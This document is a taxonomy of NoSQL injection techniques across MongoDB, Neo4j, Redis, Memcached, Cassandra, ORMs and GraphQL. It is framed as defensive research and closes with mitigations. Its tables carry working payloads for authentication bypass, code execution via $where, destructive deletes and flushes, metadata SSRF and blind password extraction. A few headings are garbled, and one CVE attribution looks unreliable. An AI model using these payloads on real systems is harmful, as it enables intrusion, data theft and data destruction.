NoSQL Injection Mutation Taxonomy

Version: 2026 | Scope: All major NoSQL database families and query models

Purpose: Defensive security research and vulnerability understanding


Classification Structure

This taxonomy classifies NoSQL injection mutations along three orthogonal axes. Axis 1 (Mutation Target) defines the structural component being altered — what part of the query or interaction model carries the injection payload. Axis 2 (Discrepancy Type) explains the class of mismatch or trust violation that makes the mutation exploitable — why the injection succeeds. Axis 3 (Attack Scenario) maps techniques to real-world impact domains — where the mutation is weaponized.

The diversity of NoSQL injection is rooted in the polyglot nature of the ecosystem. Each database family — document stores, key-value caches, column-family databases, graph databases, and search engines — exposes a different query model, each with its own operators, syntax, and trust assumptions. Unlike SQL injection, where a single grammar is exploited, NoSQL injection requires a per-engine understanding of what “structure” means and what “injection” looks like. This is compounded by the application layer: ODMs, ORMs, GraphQL resolvers, and REST frameworks introduce additional surfaces where attacker-controlled data can bleed into query structure.

Axis 2 — Discrepancy TypeDefinition
Operator SmugglingA scalar field accepts a query operator object, expanding query semantics beyond developer intent
Type CoercionDynamic typing allows an attacker-supplied object to be treated as a primitive, or vice versa
Syntax InjectionString concatenation into query language (Cypher, CQL, MQL string expressions) allows escape-and-control
JS ExecutionQuery evaluation context allows JavaScript execution, enabling code-level operations
Protocol InjectionNewline or delimiter characters in wire-protocol inputs allow injection of additional commands
Schema TrustAbsent schema enforcement at the application or ODM layer allows unexpected fields/operators to reach the database
Pipeline ControlAttacker controls aggregation stages, introducing cross-collection joins or data mutation operations
Inference ChannelResponse behavior (timing, content length, boolean branching) leaks data without direct output

§1. Comparison Operator Injection (Document Store — Operator Smuggling)

The foundational NoSQL injection class. Document databases expose comparison operators ($ne, $gt, $lt, $gte, $lte, $eq, $in, $nin) as first-class query parameters. When user input flows directly into a query filter object without type enforcement, an attacker can replace an expected scalar with an operator sub-object, silently modifying query logic.

§1-1. Not-Equal Bypass

The $ne operator returns all documents where a field is not equal to a value. When injected into an authentication query, this effectively returns all matching users regardless of the credential provided.

SubtypeMechanismExample PayloadCondition
Boolean Coercion{"username": {"$ne": null}} makes the username condition universally trueusername[$ne]=x&password[$ne]=xApplication deserializes URL params into objects
Admin EnumerationCombine regex on username with $ne on password{"username":{"$regex":"admin"},"password":{"$ne":""}}Application leaks whether login succeeds
Multi-user BypassBoth fields set to $ne returns first record in collection{"username":{"$ne":"x"},"password":{"$ne":"x"}}findOne() returns an unpredictable first user

§1-2. Comparison Range Operators

Operators $gt, $lt, $gte, $lte compare values against strings or numbers. When the field contains passwords or tokens, range comparisons can be turned into boolean oracles for extraction.

SubtypeMechanismExample PayloadCondition
Greater-Than Empty String{"username":{"$gt":""}} matches all string-valued usernames{"username":{"$gt":""},"password":{"$gt":""}}Username/password stored as strings
Numeric Range Auth Bypass$gt: 0 matches all positive numeric IDs{"id":{"$gt":0}} in a lookup endpointApplication expects integer ID
Range OracleBinary-search password value using $gt and $lt{"password":{"$gt":"m","$lt":"p"}}Timing or response-content difference leaks true/false

§1-3. Inclusion/Exclusion Operators

$in and $nin accept arrays as values. An attacker can enumerate known values or exclude specific entries to bypass negative-match logic.

SubtypeMechanismExample PayloadCondition
Known-Value Enumeration$in with common usernames probes for existence{"username":{"$in":["admin","root","administrator"]}}Application reveals whether result was found
Exclusion Bypass$nin excludes blocked accounts from a deny-list lookup{"status":{"$nin":["banned","locked"]}}Authorization check uses $nin for exclusion

§2. Logical/Boolean Operator Injection (Document Store — Operator Smuggling)

Beyond comparison operators, MongoDB and compatible engines expose $or, $and, $nor, and $not. When these are injected into filter objects they restructure query logic entirely, creating multi-branch conditions independent of developer intent.

§2-1. and Injection

SubtypeMechanismExample PayloadCondition
Universal OR$or with always-true branch — one matching condition makes the whole query succeed{"$or":[{"username":"admin"},{"password":{"$exists":false}}]}Application passes body object directly to find()
Credential OverrideInject $or to create a second authentication path{"$or":[{"username":"admin","password":"pass"},{"isAdmin":true}]}Object body not sanitized for top-level $or
Nested AND BypassWrap with $and to inject conditions alongside the intended query{"$and":[{"status":"active"},{"$or":[{"role":"admin"}]}]}Recursive sanitization not applied

§2-2. nor Injection

SubtypeMechanismExample PayloadCondition
$nor Auth Bypass$nor returns documents matching neither condition, bypassing both checks{"$nor":[{"username":"x"},{"password":"y"}]}Insufficient operator allowlisting
$not NegationWraps a condition to invert it{"locked":{"$not":{"$eq":true}}}Application adds a “not locked” check that attacker negates again

§3. Regular Expression Injection (Document Store — Inference Channel / DoS)

MongoDB’s $regex operator accepts Perl-compatible regular expressions. This creates two distinct attack paths: data extraction through regex-as-oracle and denial of service via catastrophic backtracking.

§3-1. Blind Data Extraction via Regex Oracle

By supplying successive anchored patterns, an attacker character-by-character extracts field values with no direct output — only a boolean signal (page loads normally vs. fails).

SubtypeMechanismExample PayloadCondition
Prefix Crawl^a, ^ab, ^abc anchors expose each character through response delta{"password":{"$regex":"^md"}}Distinguishable true/false from application response
Length Oracle.{N} metacharacter tests exact length{"token":{"$regex":"^.{32}$"}}Useful to constrain brute-force space
Case-Insensitive Scan$options: "i" flag bypasses case sensitivity in stored values{"username":{"$regex":"^admin","$options":"i"}}Case-normalized storage

§3-2. ReDoS via Catastrophic Regex

Injecting a regex with exponential backtracking behavior into a $regex filter causes CPU exhaustion on the database server. This is a server-side ReDoS — distinct from client-side ReDoS — and executes at the database engine level.

SubtypeMechanismExample PayloadCondition
Nested Quantifier ReDoS(a+)+$ or `(aaa)+` patterns cause exponential backtrack on non-matching input{"field":{"$regex":"^(a+)+$"}}
Anchored CatastrophicAnchoring to end-of-string maximizes backtracking{"name":{"$regex":"^.*.*.*.*z$"}}Input string does not end in z, forcing full backtrack

§4. Server-Side JavaScript Injection (Document Store — JS Execution)

MongoDB historically exposed three JavaScript execution contexts: $where, mapReduce, and group. When these operators receive user-controlled input, arbitrary JavaScript runs inside the MongoDB V8/SpiderMonkey engine with access to the current document’s context (this).

§4-1. $where JavaScript Execution

The $where operator evaluates a JavaScript expression against each document. It was disabled by default as of MongoDB 7.0, but remains enabled in earlier versions and in many production systems.

SubtypeMechanismExample PayloadCondition
Tautology Injectionthis.x == this.x or 1==1 always returns true"$where": "1==1"$where enabled; operator accepted in query
Timing Oraclesleep() injects measurable delay for blind extraction`“$where”: “sleep(2000)
Error Exfiltrationthrow new Error(JSON.stringify(this)) leaks full document in error message"$where": "throw new Error(JSON.stringify(this))"Application logs/returns DB errors to client
DoS LoopInfinite loop causes thread starvation"$where": "while(1){}"JS execution not time-limited

§4-2. ODM-Level JS Injection (CVE-2024-53900 / CVE-2025-23061)

When an ODM library passes user-controlled filter objects to MongoDB without stripping dangerous operators, even environments with server-side JS disabled may execute JavaScript — because the ODM itself evaluates the expression inside Node.js before the query reaches MongoDB.

SubtypeMechanismExample PayloadCondition
Mongoose populate() $wherepopulate({ match: req.query.author }) passes object verbatim; $where runs in Node.js processauthor[$where]=global.process.mainModule.require('child_process').execSync('id')Mongoose ≤ 8.8.2; populate with user-controlled match
Top-Level Filter BypassCVE-2024-53900 patch blocked top-level $where; CVE-2025-23061 exploited nesting under $or{"$or":[{"_id":"x"},{"$where":"..."}]}Mongoose 8.8.3–8.9.4; recursive strip not applied

§4-3. mapReduce and group Injection

mapReduce and group accept JavaScript function strings as parameters. These remain available in MongoDB 4.x/5.x and in some CouchDB deployments.

SubtypeMechanismExample PayloadCondition
mapReduce Function Injectionmap function receives user string; concatenation adds malicious JS"map": "function() { emit(this._id, '" + userInput + "'); }"Direct string concatenation; JS enabled
finalize Function Injectionfinalize callback can spawn child processes in older versions"finalize": "function(k,v){ return require('child_process').exec('...'); }"MongoDB < 4.4 without --noscripting

§5. Aggregation Pipeline Injection (Document Store — Pipeline Control)

When an application passes user-supplied JSON directly to MongoDB’s aggregate() function, or allows injection into individual pipeline stages, the attacker gains control over the aggregation pipeline. Unlike find()-level injections (which are constrained to a single collection), pipeline injection enables cross-collection data access and data mutation.

§5-1. $lookup Cross-Collection Exfiltration

$lookup performs a left outer join to any collection in the same database. If an attacker controls pipeline stage content, they can join the current query result set with any other collection.

SubtypeMechanismExample PayloadCondition
Dummy-Field JoinSpecifying a non-existent localField returns the entire foreign collection as a nested array per document[{"$lookup":{"from":"users","localField":"__DUMMY__","foreignField":"__DUMMY__","as":"leak"}},{"$limit":1}]Application passes array body to aggregate() directly
Pipeline Sub-Query Join"pipeline" key inside $lookup allows arbitrary match expression against the foreign collection[{"$lookup":{"from":"users","as":"leak","pipeline":[{"$match":{"_id":{"$ne":""}}}]}}]Aggregate endpoint exposed; pipeline key accepted
unwindCombines join with array flattening to enumerate all foreign documents individuallyAppend {"$unwind":"$leak"}Useful when response only returns first element

§5-2. $unionWith Cross-Collection Union

$unionWith (MongoDB 4.4+) merges the result set with documents from another collection — the NoSQL equivalent of SQL’s UNION ALL.

SubtypeMechanismExample PayloadCondition
Direct UnionReplaces original collection’s output with target collection’s documents[{"$match":{}},{"$unionWith":"users"}]Pipeline injection into aggregate; MongoDB ≥ 4.4
Pipeline Union with FilterUse pipeline inside $unionWith to filter sensitive documents[{"$unionWith":{"coll":"users","pipeline":[{"$match":{"role":"admin"}}]}}]Same as above

§5-3. Pipeline Mutation via merge / $out

Beyond reading, pipeline stages can write data.

SubtypeMechanismExample PayloadCondition
$set Field InjectionAdds or overwrites fields in documents flowing through the pipeline[{"$set":{"role":"admin","isAdmin":true}}]Vulnerable aggregation endpoint; downstream code reads pipeline output
out Write-BackPipeline result written to a real collection[{"$match":{}},{"$set":{"password":"hacked"}},{"$merge":"users"}]$merge or $out not blocklisted; application-level write permission

§6. Graph Database Injection — Cypher Injection (Neo4j)

Neo4j’s Cypher query language is vulnerable to injection when queries are dynamically constructed via string concatenation rather than parameterized queries. Cypher injection closely mirrors SQL injection in syntax: string delimiters ('), comment characters (//), and statement chaining (WITH, UNION) are all usable.

§6-1. String Literal Injection

SubtypeMechanismExample PayloadCondition
Tautology BypassInject ' OR 1=1 // to close literal and add always-true condition' OR 1=1 WITH n RETURN n //Cypher query uses string concatenation
Comment TerminationClose existing condition and comment out the remainderJohnny '}) // (for property map injection)Application builds {name: 'USER_INPUT'}
DETACH DELETE InjectionInject a WITH clause and delete all nodes' WITH true as x MATCH (s) DETACH DELETE s; //High-privilege database account
Node/Relationship EnumerationUse UNION MATCH (n) RETURN labels(n) to enumerate schema' UNION MATCH (n) RETURN labels(n) as leak //String concatenation in MATCH context

§6-2. APOC Plugin Escalation

APOC (Awesome Procedures on Cypher), the most popular Neo4j plugin, enables HTTP requests, JavaScript execution, and dynamic query evaluation. When APOC is installed and injection is possible, attackers can leverage its procedures for SSRF, exfiltration, or code execution.

SubtypeMechanismExample PayloadCondition
apoc.load.json SSRFFetch internal service URLs from the database serverCALL apoc.load.json("http://169.254.169.254/latest/meta-data/")APOC Core installed; Cypher injection path
apoc.cypher.doIt Re-injectionAPOC accepts string queries; concatenating user input here re-injectsCALL apoc.cypher.doIt("CREATE (s:Student) SET s.name = '" + $input + "'",{})Parameter passed to APOC via string concatenation
apoc.cypher.runMany for SHOW TRANSACTIONSAPOC procedure runs in a separate transaction, enabling SHOW TRANSACTIONS exfiltrationCALL apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{})APOC Core; Neo4j 5+
System Database ExtractionAdmin-level access allows querying the system database via APOCRead password hashes from system DB nodes via apoc.load.jsonParamsAdmin user (common in free Neo4j editions)

§6-3. Bolt Protocol / Driver-Level Injection

Academic research (KU Leuven, 2024) identified that some Neo4j connectors incompletely separate query specification from parameter passing, and that dynamically-constructed Cypher queries (e.g., for analytical workloads) are injection-prone even when parameterized queries are used for standard operations.

SubtypeMechanismExample PayloadCondition
Non-Parameterizable ElementsLabel names, relationship types, and ORDER BY column names cannot be parameterized in CypherORDER BY + userInput → ORDER BY name UNION MATCH (n) RETURN nDynamic query construction for analytical endpoints
Number Literal InjectionNumeric fields without quotes are injectable even without string delimitersuser.id = + userId → user.id = 1 OR 1=1 WITH trueInteger parameter used without parameterization

§7. Key-Value Store Injection (Redis, Memcached — Protocol Injection)

Redis and Memcached use line-delimited text protocols (RESP for Redis; ASCII for Memcached). When user-controlled strings reach these stores without sanitization, newline injection (\r\n) can insert additional commands into the protocol stream. This is amplified when the attack is delivered via SSRF — turning an SSRF vulnerability into full Redis command execution.

§7-1. Redis Command Injection

Redis uses the Redis Serialization Protocol (RESP). Each command is a newline-terminated string. Injecting \r\n characters into a key or value field allows appending arbitrary Redis commands.

SubtypeMechanismExample PayloadCondition
Key-Append InjectionAppend \r\nFLUSHALL to a key name to inject a destructive commandmykey\r\nFLUSHALL\r\nRaw string passed to Redis SET command without validation
SSRF → Redis ExploitationSSRF vulnerability opens a TCP connection to Redis; attacker sends RESP-formatted commandsHTTP redirect to redis://127.0.0.1:6379/ followed by RESP commandsSSRF + Redis unauthenticated or pre-auth accessible
Lua Script Injection (EVAL)EVAL executes arbitrary Lua on the Redis serverEVAL "return redis.call('keys','*')" 0User input reaches an EVAL call
ACL Bypass via Config RewriteAttacker writes a new authorized_keys file via CONFIG SET dir and CONFIG SET dbfilenameRedis config rewrite to write SSH keyRedis running as root; CONFIG not disabled

§7-2. Redis Lua Scripting CVEs (2025)

Two critical 2025 CVEs in Redis’s Lua scripting engine are relevant to injection chains:

CVEMechanismImpact
CVE-2025-46817Integer overflow in Lua unpack() allows stack corruption via extreme index valuesMemory exhaustion / crash via authenticated Lua injection
CVE-2025-46818Metatables for basic types (strings, booleans) not set read-only on init; any authenticated user can inject methods that other users later callPrivilege escalation via shared Lua environment

§7-3. Memcached Protocol Injection

Memcached’s ASCII protocol uses newlines and spaces as delimiters. An attacker who controls a cache key can inject additional Memcached commands.

SubtypeMechanismExample PayloadCondition
Command Append via Newline\r\ndelete all_users\r\n appended to a get key argumentget mykey\r\ndelete all_usersUser input unsanitized before passing to memcache client
Stats Exfiltrationstats command reveals server version, memory, and connection infokey\r\nstats\r\nInformation leakage vector
Fake Cache PoisoningAttacker injects a set command with arbitrary key/value after their inputkey\r\nset admin_token 0 3600 4\r\nhack\r\nShared key namespace; no ACL on keys

§8. CQL Injection (Apache Cassandra — Syntax Injection)

Apache Cassandra’s Cassandra Query Language (CQL) resembles SQL and is injectable when queries are constructed via string concatenation. CQL’s restrictions (no JOINs, no UNION, no OR operator, no subqueries, no SLEEP) limit traditional exploitation paths — but stacked query injection, UPDATE injection, and DROP/TRUNCATE injection remain viable when the application does not use prepared statements.

§8-1. Stacked Query Injection

Unlike MongoDB, Cassandra supports stacked queries in certain driver implementations, allowing the attacker to append a second query after a semicolon.

SubtypeMechanismExample PayloadCondition
SELECT StackingAppend a second SELECT to leak data from another tableadmin'; SELECT * FROM system.local; --Driver executes multi-statement queries; application reflects output
UPDATE Privilege EscalationModify a user’s role or permissions by injecting an UPDATEadmin'; UPDATE users SET role='admin' WHERE username='attacker'; --Write access not blocked; CQL injection in auth flow
DROP / TRUNCATE InjectionDestructive payload causes data lossx'; TRUNCATE TABLE sessions; --High-privilege app account

§8-2. Apache Cassandra UDF / UDA Code Injection (CVE-2021-44521)

Cassandra supports User-Defined Functions (UDFs) written in Java or JavaScript. When UDF execution is enabled in cassandra.yaml, an attacker who can execute a CREATE FUNCTION statement gains arbitrary code execution on the Cassandra node.

SubtypeMechanismCondition
JavaScript UDF RCECREATE FUNCTION with malicious JS body calls Runtime.exec()enable_user_defined_functions: true; allow_insecure_udfs: true in cassandra.yaml
Sandbox Escape via Java UDFJava UDF attempts to exit the Nashorn sandboxOlder Cassandra versions with incomplete sandboxing

§9. ODM/ORM Operator Leak (Cross-DB — Schema Trust / Type Coercion)

Modern ORM and ODM libraries for non-MongoDB databases have adopted MongoDB-style query operators ($ne, $gt, $regex, etc.) for their filter APIs. This imports the same operator injection vulnerability class into SQL and other backends — any ORM that exposes operator-based filtering is susceptible when user input flows directly into the where clause.

§9-1. Prisma ORM Operator Injection

Prisma’s findMany(), findFirst(), updateMany(), and deleteMany() functions all support query operators. Because JavaScript has no runtime type enforcement, an attacker who can pass an object instead of a string can inject operators.

SubtypeMechanismExample PayloadCondition
Auth Bypass via neReplace password string with operator object{"email":"admin@x.com","password":{"not":"anything"}}Express endpoint passes req.body directly to prisma.user.findFirst({where: req.body})
Time-Based Oracle via ReDoSInject catastrophic regex via contains operator mapped to SQL LIKE{"name":{"contains":"^(a+)+$"}}MySQL backend; regex translated to LIKE
Relational Field Traversalselect and include operators leak associated records, including hashed passwords{"where":{"id":1},"include":{"createdBy":{"select":{"password":true}}}}API allows direct Prisma options passthrough

§9-2. Mongoose ODM Injection Beyond $where

Beyond the well-known $where path, Mongoose has additional injection surfaces in its schema-level hooks and query methods.

SubtypeMechanismCondition
findByIdAndUpdate Operator InjectionIf update body not validated, $set / $unset operators modify arbitrary fieldsApplication passes req.body to Model.findByIdAndUpdate() without a projection/allowed-fields list
lean() Deserialization Risklean() returns plain JS objects; downstream code may unsafely re-use them in subsequent queriesStored document with embedded operator keys used in a second query
$expr Injection$expr evaluates aggregation expressions inside find queries; user-controlled expression may access fields outside the intended scopeApplication passes filter objects to Model.find({$expr: userInput})

§9-3. Spring Data MongoDB Injection

Java’s Spring Data MongoDB uses a Query object with Criteria builders. When developers use the BasicQuery constructor with raw string input, CQL-style string injection is possible. Additionally, the Spring @Query annotation with SpEL expressions introduces a secondary injection surface.

SubtypeMechanismCondition
BasicQuery String InjectionRaw JSON string passed to BasicQuery() constructornew BasicQuery("{\"username\":\"" + userInput + "\"}") — classic string concatenation
SpEL Expression Injection in @Query@Query("{'username': ?#{[0]}}") — if SpEL processing is misconfigured, arbitrary expression evaluationSpring Data MongoDB with SpEL-enabled @Query; unsanitized input

§10. GraphQL-to-NoSQL Injection (Resolver Layer — Schema Trust)

GraphQL sits in front of many NoSQL backends as a query API. When GraphQL resolvers forward filter arguments directly to database calls, they inherit the injection surface of the underlying database. The GraphQL type system does not prevent injection — type validation only checks field names, not the semantic safety of values.

§10-1. Filter Object Pass-Through

GraphQL resolvers that spread incoming args.filter directly into a collection.find() call allow operator injection payloads to reach MongoDB or other backends.

SubtypeMechanismExample PayloadCondition
Operator Object in VariableGraphQL variable accepts a filter argument; resolver passes it to find() without sanitizationquery { users(filter: { "$ne": {} }) { email } }Resolver: collection.find(args.filter)
Nested Operator InjectionDeeply nested object in filter evades shallow sanitizationquery { users(filter: { role: { "$ne": "user" } }) { ... } }First-level key sanitization only; nested operators pass through
$where via GraphQL MutationMutation arguments flow into an update query with $wheremutation { updateUser(where: { "$where": "..." }) { ... } }Resolver passes mutation where argument to MongoDB update filter

§10-2. Introspection-Aided Reconnaissance

GraphQL introspection exposes schema metadata. An attacker can enumerate all types, fields, and mutation arguments — identifying which fields map to sensitive database fields before attempting injection.

SubtypeMechanismCondition
Schema Dump{__schema{types{name,fields{name}}}} reveals all queryable fieldsIntrospection enabled (default in development; often left on in production)
Resolver FingerprintingError messages from rejected payloads reveal underlying database type and library versionsVerbose error reporting enabled

§10-3. Batch Query Amplification

GraphQL natively supports batched queries in a single HTTP request. An attacker can send hundreds of operator-injected filter queries in one request, amplifying data extraction or DoS impact.

SubtypeMechanismCondition
Batch ExfiltrationArray of queries each probing a different character position of a sensitive fieldNo batch depth limiting; MongoDB regex oracle available
Query Depth DoSDeeply nested GraphQL query causes recursive database callsNo depth/complexity limiting; each level triggers a DB lookup

§11. Blind & Out-of-Band Extraction Channels (Cross-DB — Inference Channel)

When an application returns no useful error messages and does not reflect query results, an attacker must use inference channels to extract data. These techniques apply across database families but are most mature for MongoDB and Neo4j.

§11-1. Boolean-Based Blind Injection

Application behavior (response status code, content length, redirect target, presence of specific text) is treated as a 1-bit oracle. By iterating queries that evaluate to true or false, the attacker extracts data one bit at a time.

SubtypeMechanismTechnique
Prefix Enumeration$regex: ^{known_prefix}{c} — test each characterAutomate with Python using requests + conditional response detection
Length Probing$regex: ^.{N}$ — binary search for exact field lengthReduces character search space before prefix enumeration
Existence Oracle$exists: true/false confirms whether a field is presentUseful for schema discovery before extraction

§11-2. Time-Based Blind Injection

Where no response difference is observable, a measurable time delay serves as the oracle. Requires JavaScript execution ($where, ODM-level) or a ReDoS-injectable $regex.

SubtypeMechanismTechnique
sleep() Oracle"$where":"this.password[0]=='a'&&sleep(2000)" — conditional delayOnly MongoDB with $where / JS enabled (MongoDB < 7.0 default); also via ODM-level injection
ReDoS TimingCatastrophic regex on a known-prefix match — measurable delay for correct prefix$regex: ^a(a+)+ — significantly slower when prefix a matches
Neo4j TimingNo native SLEEP in Cypher; use heavy computation or APOC procedureCypher injection with APOC apoc.util.sleep()

§11-3. Error-Based Exfiltration

Some configurations return database error messages to the client. Injecting payloads designed to trigger errors that embed field contents is more efficient than boolean or timing channels.

SubtypeMechanismExample
$where throw Errorthrow new Error(JSON.stringify(this)) embeds the full document in the error message{"$where":"throw new Error(JSON.stringify(this))"} — if app returns raw DB errors
Type Error ExfiltrationDeliberately trigger a type mismatch that names the offending valueVaries by DB and driver; watch for stack traces with data values

§11-4. Second-Order Injection

Second-order injection stores a benign-looking payload in the database, which later becomes injected when a different query uses the stored value as input.

SubtypeMechanismCondition
Stored Operator KeyUser registers with username {"$ne":null} — stored as-is; a later admin search query uses stored name as filterAdmin dashboard builds db.users.find({name: storedName}) where storedName is a raw object
Stored Regex PatternUser stores a regex string in a preference field; analytics query later applies $regex against the stored patternPeriodic job runs $regex with stored user preference values

§12. Protocol-Level and Wire Injection (Transport / Network Layer)

These mutations target the communication channel between the application and the database, rather than the query language itself. They are often chained with SSRF, CRLF, or memory corruption vulnerabilities.

§12-1. CRLF Injection into Database Protocols

Redis (RESP), Memcached (ASCII), and MongoDB wire protocol (BSON over TCP) all have delimiter-based framing. CRLF injection in upstream components (web frameworks, proxy middleware) that construct database connections can inject commands at the protocol level.

SubtypeMechanismCondition
SSRF + Redis CRLFSSRF vulnerability opens TCP connection to Redis; CRLF in URL-controlled path injects RESP commandsSSRF with arbitrary TCP + Redis accessible on internal network (GitLab CVE-2018-3760 pattern)
HTTP Header to RedisIf a request header value is forwarded to a Redis command, CRLF allows injectionHeader value unsanitized; forwarded to HSET or LPUSH
BSON InjectionMalformed BSON documents with incorrect field length values exploit wire-level decompressionCVE-2025-14847: zlib decompressor returns buffer size instead of decompressed length, leaking heap memory

§12-2. Memory Corruption via Wire Protocol (CVE-2025-14847 “MongoBleed”)

MongoDB’s zlib message decompression logic incorrectly returned the allocated buffer size instead of the actual decompressed data length. Sending malformed compressed packets triggered reading of uninitialized heap memory without authentication.

DetailValue
CVECVE-2025-14847 (CVSS 8.7)
TriggerMalformed zlib-compressed MongoDB wire protocol packet
ImpactUnauthenticated heap memory leak — user data, passwords, API keys
Conditionzlib compression enabled (default configuration); exposed MongoDB port
Scale87,000+ vulnerable instances identified on internet; added to CISA KEV Dec 29, 2025
PatchMongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30

Attack Scenario Mapping (Axis 3)

ScenarioArchitectural ContextPrimary Mutation Categories
Authentication BypassLogin endpoint; ODM findOne() on credential fields§1-1, §1-2, §2-1, §4-1
Privilege EscalationRole/permission field queried via injectable filter§1-3, §2-1, §9-1, §9-2
Blind Data ExfiltrationSearch endpoint; password-reset token lookup; API with boolean response§3-1, §11-1, §11-2
Cross-Collection Exfiltrationaggregate() exposed via API; GraphQL filter passthrough§5-1, §5-2, §10-1
Remote Code ExecutionNode.js app with Mongoose; $where enabled; APOC on Neo4j; Cassandra UDF§4-1, §4-2, §6-2, §8-2
Denial of ServiceSearch/filter endpoint; $regex accessible§3-2, §4-1 (infinite loop), §10-3
Data TamperingUpdate endpoint with injectable filter; pipeline with out§5-3, §9-2
Infrastructure Pivot (SSRF+Redis)Internal Redis accessible; SSRF in web app§7-1, §12-1
Memory DisclosureExposed MongoDB port; default zlib compression§12-2
Schema ReconnaissanceGraphQL introspection; error-based detection§10-2, §11-3

CVE / Bounty Mapping (2023–2025)

Mutation CombinationCVE / CaseImpact / Bounty
§4-2 ODM-level $where injectionCVE-2024-53900 (Mongoose ≤ 8.8.2)CVSS 9.0; RCE via Node.js child_process via populate() $where
§4-2 Nested $or bypass of patchCVE-2025-23061 (Mongoose 8.8.3–8.9.4)CVSS 9.0; incomplete fix — or bypassed strip logic
§12-2 zlib heap memory disclosureCVE-2025-14847 “MongoBleed” (MongoDB Server all versions < Dec 2025 patches)CVSS 8.7; unauthenticated heap leak; 87,000+ internet-exposed instances; CISA KEV
§4-1 $where timing oracle + §3-1 regex oracleRocket.Chat HackerOne #1130721 (pre-auth blind NoSQLi)Password reset token exfiltration → account takeover; unauthenticated path
§2-1 + §1-1 operator injectionRocket.Chat HackerOne #1130874 (post-auth blind NoSQLi via users.list)Admin account takeover → RCE; password reset + 2FA secret extraction
§3-1 regex blindRocket.Chat HackerOne #1757676 (listEmojiCustom timing oracle)Unauthenticated; timing-based exfiltration; timing oracle confirmed
§4-1 $where timing + §5-1 collection accessRocket.Chat HackerOne — visitor token leakNoSQL injection leaks visitor token and livechat messages (29 upvotes)
§4-1 JS execution (infinite loop)MongoDB $where DoSCPU exhaustion; service outage on JS-enabled MongoDB
§8-2 UDF code injectionCVE-2021-44521 (Apache Cassandra)CVSS 9.1; RCE on Cassandra node when UDFs enabled
§6-2 APOC load.json SSRFNeo4j APOC SSRF (various prod reports)Internal metadata access; cloud credential exfiltration
§9-1 Prisma ORM leakAikido Research 2024 (Prisma + PostgreSQL)Authentication bypass via operator injection into findFirst/findMany
§12-1 SSRF→Redis RCEGitLab CVE-2018-3760 pattern (replicated in 2024 configurations)Full RCE via Redis job queue manipulation
§5-1 + §5-2 aggregate pipeline injectionResearch: irsdl 2024 (aggregate() cross-collection)Password/token exfiltration from users collection via unionWith

Detection Tools

ToolTarget ScopeCore Technique
NoSQLMap (offensive)MongoDB, CouchDB, CassandraAutomated operator injection and data dump; brute-force
NoSQL-Exploitation-Framework (offensive)MongoDB, CouchDB, Redis, CassandraModular exploitation; RCE, file retrieval, injection
nosqli (offensive)MongoDBFocused NoSQL injection scanner; boolean blind and operator
Burp Suite (offensive)All (manual proxy)Manual parameter manipulation; Content-Type switching; operator injection
NodeXP (offensive)Node.js SSJIAutomated SSJI detection and exploitation with obfuscation
SSJIgeddon (offensive)Node.js SSJIValidates and exploits SSJI via Node.js eval/require paths
plormber (offensive)Prisma/PostgreSQLPoC time-based ORM injection for Prisma operator leaks
mongo-sanitize (defensive)MongoDB/Node.jsStrips keys beginning with $ from input objects
express-mongo-sanitize (defensive)MongoDB/ExpressMiddleware: sanitizes req.body, req.query, req.params
Mongoose sanitizeFilter: true (defensive)Mongoose ODMOption introduced in 8.9.5; recursively strips operator keys
Joi / Ajv / Zod (defensive)AnySchema validation libraries; enforce type safety before DB call
Invicti / Acunetix (defensive)MongoDB + othersDAST scanner with NoSQL injection detection
Bright DAST (defensive)MongoDB, RedisDeveloper-first DAST with NoSQL injection fuzzing in CI pipeline
Datadog AppSec (defensive)CassandraCQL injection detection and alerting in runtime

Summary: Core Principles

What fundamental property makes this entire mutation space possible? NoSQL databases are defined by their rejection of a rigid, unified query model. Each database family exposes query logic as data structures — JSON objects, arrays, operator keys, JavaScript strings — rather than as a distinct, parsed grammar. This design decision, which enables the flexibility and schema-freedom that makes NoSQL appealing, also collapses the boundary between data and control. In a traditional SQL database, the grammar enforces a syntactic separation between user-supplied literals and query structure. In document stores, key-value caches, and graph databases, this separation is a convention that must be enforced by the application. When it is not — when a body parameter is deserialized into an object and passed directly to a database call — the attacker’s input becomes structurally indistinguishable from developer-written query logic.

Why do incremental patches fail? The history of Mongoose CVE-2024-53900 and CVE-2025-23061 illustrates this precisely: the first patch stripped top-level $where, but the root cause — trusting the shape of user-supplied objects — was not addressed. The attacker moved the operator one level deeper and the protection broke. This pattern recurs across the ecosystem: mongo-sanitize strips first-level $ keys but not deeply nested ones; Cassandra patches UDF sandboxing but the escape surface expands with each new Java version; Redis patches individual Lua CVEs but the EVAL attack surface remains. Each patch targets a specific payload path, not the structural trust violation. The correct fix is never to accept operator-laden objects from untrusted sources in the first place — which requires type enforcement, schema validation at the boundary, and explicit allowlisting of query fields and operators.

What would a structural solution look like? A structural defense operates at the query construction layer, not the sanitization layer. For document stores: use typed query builders that never accept raw interface{} or any input; wrap all user-supplied filter arguments in $eq to prevent operator substitution; and enable sanitizeFilter: true at the ODM level as a last-resort defense-in-depth measure. For protocol-level stores (Redis, Memcached): never concatenate user input into command strings; use typed client libraries that construct RESP frames programmatically. For graph databases (Neo4j): parameterize all literals, and recognize that labels, relationship types, and ORDER BY columns are not parameterizable — these must be validated against an explicit allowlist. For the ODM/ORM layer: treat the query object as a security boundary; never spread untrusted objects into the where clause regardless of database backend. The unifying principle is query construction by construction, not query sanitization by inspection.


References

  1. MongoDB Security Alerts — https://www.mongodb.com/resources/products/alerts
  2. CVE-2025-14847 (MongoBleed) — https://www.mongodb.com/company/blog/news/mongodb-server-security-update-december-2025
  3. CVE-2025-23061 (Mongoose $where incomplete fix) — https://nsfocusglobal.com/mongodb-mongoose-search-injection-vulnerability-cve-2025-23061/
  4. CVE-2024-53900 (Mongoose $where initial) — GHSA-vg7j-7cwx-8wgw
  5. CVE-2021-44521 (Apache Cassandra UDF RCE) — GHSA-8ffc-79xg-29w8
  6. F5 Labs: “Why Critical MongoDB Library Flaws Won’t See Mass Exploitation” — https://www.f5.com/labs/articles/why-critical-mongodb-library-flaws-wont-see-mass-exploitation
  7. PayloadsAllTheThings — NoSQL Injection — https://swisskyrepo.github.io/PayloadsAllTheThings/NoSQL%20Injection/
  8. HackTricks — NoSQL Injection — https://book.hacktricks.xyz/pentesting-web/nosql-injection
  9. PortSwigger Web Security Academy — NoSQL Injection — https://portswigger.net/web-security/nosql-injection
